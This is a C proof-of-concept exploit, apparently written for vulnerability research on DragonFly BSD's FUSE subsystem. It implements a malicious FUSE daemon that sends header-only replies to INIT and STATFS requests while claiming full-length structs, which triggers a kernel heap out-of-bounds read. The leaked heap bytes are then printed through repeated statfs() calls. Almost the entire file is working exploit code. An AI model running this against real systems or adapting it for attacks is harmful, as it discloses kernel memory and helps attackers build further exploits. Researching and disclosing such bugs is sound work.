/* * DF-0895 — Malicious FUSE daemon that triggers an OOB heap read by * replying to FUSE_INIT / FUSE_STATFS with a buffer SHORTER than the * fixed-size struct the kernel subsequently reads out of it. * * Root cause (sys/vfs/fuse/fuse_device.c:fuse_device_write): * - the daemon's actual write size (uio->uio_resid) sizes the reply * buffer via fuse_buf_alloc() (fuse_ipc.c:fuse_buf_alloc). * - fuse_audit_length() (fuse_util.c:87) validates the daemon-CLAIMED * ohd->len field, NOT the actual reply buffer length. * - the IPC is completed unconditionally ("Complete the IPC regardless * of above result", fuse_device.c:218) and the kernel-side caller * (fuse_vfsops.c:fuse_mount:216, fuse_statfs:399, fuse_statvfs:430) * does fio = fuse_out_data(fip); / fso = fuse_out_data(fip); * and dereferences the full sizeof(struct fuse_init_out) [64 B] / * sizeof(struct fuse_statfs_out) [80 B] — even though only the * 16-byte fuse_out_header was actually written. * * Result: an 80-byte read past a 16-byte kmalloc → kernel heap OOB read. * For STATFS/STATVFS the leaked bytes flow back to userspace via the * statfs/statvfs syscalls (sbp->f_blocks/f_bfree/f_bavail/f_files/f_ffree). * * Threat model: FUSE is module-only on DragonFly; /dev/fuse is root:operator * 0660 and the mount requires privilege. This PoC therefore runs as root * (matching DF-0780/0781/0915). Root→kernel is already game-over, but the * primitive is a genuine kernel heap disclosure: any local user who can * statfs() the mount point receives the leaked bytes, and a short reply * whose claimed ohd->len matches the expected struct size passes the audit * silently. * * Build: cc -O2 -o fused_short fused_short.c * Run: (as root) ./fused_short # valid INIT, short STATFS -> leak * (as root) ./fused_short init # short INIT too -> OOB into fmp */ #include #include #include #include #include #include #include #include #include #include #include #include #include /* ---- FUSE ABI (transcribed from sys/vfs/fuse/fuse_abi.h) ---- */ #define FUSE_KERNEL_VERSION 7 #define FUSE_KERNEL_MINOR_VERSION 28 #define FUSE_ROOT_ID 1 #define FUSE_LOOKUP 1 #define FUSE_FORGET 2 #define FUSE_GETATTR 3 #define FUSE_STATFS 17 #define FUSE_OPEN 14 #define FUSE_INIT 26 struct fuse_in_header { uint32_t len, opcode; uint64_t unique, nodeid; uint32_t uid, gid, pid, padding; }; struct fuse_out_header { uint32_t len; int32_t error; uint64_t unique; }; struct fuse_init_in { uint32_t major, minor, max_readahead, flags; }; struct fuse_init_out { uint32_t major, minor, max_readahead, flags; uint16_t max_background, congestion_threshold; uint32_t max_write, time_gran; uint16_t max_pages, padding; uint32_t unused[8]; }; struct fuse_attr { uint64_t ino, size, blocks, atime, mtime, ctime; uint32_t atimensec, mtimensec, ctimensec, mode, nlink, uid, gid, rdev, blksize, padding; }; struct fuse_entry_out { uint64_t nodeid, generation, entry_valid, attr_valid; uint32_t entry_valid_nsec, attr_valid_nsec; struct fuse_attr attr; }; struct fuse_attr_out { uint64_t attr_valid; uint32_t attr_valid_nsec, dummy; struct fuse_attr attr; }; struct fuse_open_out { uint64_t fh; uint32_t open_flags, padding; }; struct fuse_getattr_in { uint32_t getattr_flags, dummy; uint64_t fh; }; struct fuse_kstatfs { uint64_t blocks, bfree, bavail, files, ffree; uint32_t bsize, namelen, frsize, padding; uint32_t spare[6]; }; struct fuse_statfs_out { struct fuse_kstatfs st; }; struct fuse_mount_info { int flags; int fd; int max_read; const char *subtype; const char *from; }; /* * Expected (declared) reply sizes — what fuse_audit_length checks against * the daemon-CLAIMED ohd->len (NOT the actual buffer length): * FUSE_INIT : sizeof(fuse_out_header) + sizeof(fuse_init_out) = 16 + 64 = 80 * FUSE_STATFS : sizeof(fuse_out_header) + sizeof(fuse_statfs_out) = 16 + 80 = 96 * * The trigger writes only the 16-byte fuse_out_header, sets ohd->len to * the expected value above, ohd->error = 0. Audit passes; kernel then * reads 64/80 bytes past the 16-byte allocation. */ #define INIT_EXPECTED_LEN 80 #define STATFS_EXPECTED_LEN 96 #define HEADER_LEN 16 static int g_fd = -1; static FILE *g_log; static int g_short_init = 0; /* if set, also short-reply FUSE_INIT */ static void dlog(const char *fmt, ...) { va_list ap; va_start(ap, fmt); fprintf(g_log, "[daemon %d] ", (int)getpid()); vfprintf(g_log, fmt, ap); va_end(ap); fflush(g_log); } static int read_request(int fd, uint8_t *buf, size_t bufsz, struct fuse_in_header *ihd) { ssize_t n = read(fd, buf, bufsz); if (n <= 0) { dlog("read req failed: %s\n", strerror(errno)); return -1; } if ((size_t)n < sizeof(*ihd)) { dlog("short read %zd\n", n); return -1; } memcpy(ihd, buf, sizeof(*ihd)); return 0; } /* * send_reply: write header + optional payload. If claimed_ohd_len_override * is non-zero, the header's ohd->len field is set to that value while only * `payload_len` bytes of payload are actually written. This is the DF-0895 * trigger when payload_len is short but the claimed len matches the audit. */ static void send_reply(int fd, uint64_t unique, int32_t error, const void *payload, size_t payload_len, uint32_t claimed_ohd_len_override) { size_t actual = sizeof(struct fuse_out_header) + payload_len; uint8_t *out = calloc(1, actual); struct fuse_out_header *ohd = (struct fuse_out_header *)out; ohd->unique = unique; ohd->error = error; ohd->len = claimed_ohd_len_override ? claimed_ohd_len_override : (uint32_t)actual; if (payload && payload_len) memcpy(out + sizeof(*ohd), payload, payload_len); ssize_t w = write(fd, out, actual); dlog("reply unique=%ju error=%d payload=%zu actual_write=%zd " "claimed_ohd->len=%u %s\n", (uintmax_t)unique, error, payload_len, w, ohd->len, (claimed_ohd_len_override && claimed_ohd_len_override != actual) ? "<<<<< DF-0895 TRIGGER (ohd->len claims full struct; actual write is header-only -> kernel reads OOB)" : ""); free(out); } static void make_attr(struct fuse_attr *a, uint64_t ino) { memset(a, 0, sizeof(*a)); a->ino = ino; if (ino == FUSE_ROOT_ID) { a->mode = 0040755; /* S_IFDIR | 0755 */ a->nlink = 2; a->size = 4096; } else { a->mode = 0100644; a->nlink = 1; a->size = 0; } a->blksize = 4096; a->blocks = (a->size + 511) / 512; } static void daemon_loop(int fd) { dlog("I/O loop started on fd %d (short_init=%d)\n", fd, g_short_init); for (;;) { uint8_t req[65536]; struct fuse_in_header ihd; if (read_request(fd, req, sizeof(req), &ihd) < 0) return; dlog("REQ opcode=%u unique=%ju nodeid=%ju len=%u\n", ihd.opcode, (uintmax_t)ihd.unique, (uintmax_t)ihd.nodeid, ihd.len); switch (ihd.opcode) { case FUSE_INIT: { if (g_short_init) { /* DF-0895 INIT path: write only header, claim ohd->len=80. * Kernel reads sizeof(fuse_init_out)=64 bytes past the * 16-byte allocation into fmp->{abi_major,abi_minor, * max_write}. Likely fails mount via fuse_cmp_version * (<7,0) if the OOB bytes make major<7, but the OOB read * itself already happened. */ dlog(" FUSE_INIT -> SHORT reply (DF-0895 INIT OOB read)\n"); send_reply(fd, ihd.unique, 0, NULL, 0, INIT_EXPECTED_LEN); } else { struct fuse_init_out io; memset(&io, 0, sizeof(io)); io.major = FUSE_KERNEL_VERSION; io.minor = FUSE_KERNEL_MINOR_VERSION; io.max_readahead = 4096; io.max_write = 1 << 20; io.max_pages = 256; send_reply(fd, ihd.unique, 0, &io, sizeof(io), 0); } break; } case FUSE_STATFS: { /* DF-0895 STATFS path: write only header, claim ohd->len=96. * Kernel reads sizeof(fuse_statfs_out)=80 bytes past the * 16-byte allocation; those bytes are returned to userspace * via statfs()/statvfs() in f_blocks/f_bfree/f_bavail/f_files/ * f_ffree. */ dlog(" FUSE_STATFS -> SHORT reply (DF-0895 STATFS OOB read -> leak)\n"); send_reply(fd, ihd.unique, 0, NULL, 0, STATFS_EXPECTED_LEN); break; } case FUSE_LOOKUP: { struct fuse_entry_out eo; memset(&eo, 0, sizeof(eo)); eo.nodeid = 1; eo.generation = 1; eo.entry_valid = 3600; eo.attr_valid = 3600; make_attr(&eo.attr, FUSE_ROOT_ID); send_reply(fd, ihd.unique, 0, &eo, sizeof(eo), 0); break; } case FUSE_GETATTR: { struct fuse_attr_out ao; memset(&ao, 0, sizeof(ao)); ao.attr_valid = 3600; make_attr(&ao.attr, ihd.nodeid); send_reply(fd, ihd.unique, 0, &ao, sizeof(ao), 0); break; } case FUSE_OPEN: { struct fuse_open_out oo; memset(&oo, 0, sizeof(oo)); oo.fh = 1; send_reply(fd, ihd.unique, 0, &oo, sizeof(oo), 0); break; } case FUSE_FORGET: dlog(" FUSE_FORGET (no reply)\n"); break; default: dlog(" unhandled opcode %u -> ENOSYS\n", ihd.opcode); send_reply(fd, ihd.unique, -ENOSYS, NULL, 0, 0); break; } } } /* child: mount, then issue statfs() to capture the leaked bytes */ static int child_mount_and_statfs(int fd) { struct fuse_mount_info args; memset(&args, 0, sizeof(args)); args.fd = fd; args.from = "/dev/fuse"; args.max_read = 1 << 20; mkdir("/mnt/df0895", 0755); rmdir("/mnt/df0895"); /* ensure clean */ mkdir("/mnt/df0895", 0755); dlog("child: mount(fuse, /mnt/df0895, fd=%d)\n", fd); if (mount("fuse", "/mnt/df0895", 0, &args) < 0) { dlog("child: mount failed: %s (INIT short-reply likely made abi garbage)\n", strerror(errno)); return 1; } dlog("child: mount succeeded (INIT OOB read already happened if short_init)\n"); /* The mount itself already issued one FUSE_STATFS (fuse_vfsops.c:238 * VFS_STATFS). Issue two more statfs() syscalls and print the raw * leaked fields; each one triggers a fresh short-reply + OOB read. */ for (int iter = 0; iter < 3; iter++) { struct statfs sf; memset(&sf, 0, sizeof(sf)); if (statfs("/mnt/df0895", &sf) < 0) { dlog("child: statfs iter %d failed: %s\n", iter, strerror(errno)); continue; } /* A legitimate reply would be all-zero (we send no payload). Any * non-zero byte here is kernel heap leaked by the OOB read. */ printf("[iter %d] statfs leaked fields (non-zero == OOB heap read):\n", iter); printf(" f_blocks = 0x%016jx (%ju)\n", (uintmax_t)sf.f_blocks, (uintmax_t)sf.f_blocks); printf(" f_bfree = 0x%016jx (%ju)\n", (uintmax_t)sf.f_bfree, (uintmax_t)sf.f_bfree); printf(" f_bavail = 0x%016jx (%ju)\n", (uintmax_t)sf.f_bavail, (uintmax_t)sf.f_bavail); printf(" f_files = 0x%016jx (%ju)\n", (uintmax_t)sf.f_files, (uintmax_t)sf.f_files); printf(" f_ffree = 0x%016jx (%ju)\n", (uintmax_t)sf.f_ffree, (uintmax_t)sf.f_ffree); printf(" f_bsize = %u f_iosize = %u\n", (unsigned)sf.f_bsize, (unsigned)sf.f_iosize); fflush(stdout); } /* statvfs path (fuse_statvfs at fuse_vfsops.c:430) uses the SAME short * FUSE_STATFS reply and the same OOB read of fuse_statfs_out; the * statvfs(2) syscall is exercised implicitly by `df`/etc. via * VFS_STATVFS. We rely on the statfs leak above to demonstrate the * OOB read; the statvfs path is the same bug, same reply, same fix. */ /* unmount to let daemon exit */ unmount("/mnt/df0895", MNT_FORCE); return 0; } int main(int argc, char **argv) { g_log = fopen("/tmp/df0895_daemon.log", "w"); if (!g_log) g_log = stderr; setvbuf(g_log, NULL, _IOLBF, 0); if (argc > 1 && strcmp(argv[1], "init") == 0) g_short_init = 1; signal(SIGPIPE, SIG_IGN); g_fd = open("/dev/fuse", O_RDWR); if (g_fd < 0) { dlog("open /dev/fuse failed: %s (need root + operator group; is fuse.ko loaded?)\n", strerror(errno)); return 2; } dlog("opened /dev/fuse fd=%d\n", g_fd); pid_t pid = fork(); if (pid < 0) { dlog("fork failed: %s\n", strerror(errno)); return 3; } if (pid == 0) { int rc = child_mount_and_statfs(g_fd); dlog("child exiting rc=%d\n", rc); _exit(rc); } daemon_loop(g_fd); int st; waitpid(pid, &st, 0); dlog("parent: child status=%d; done\n", st); close(g_fd); fclose(g_log); return 0; }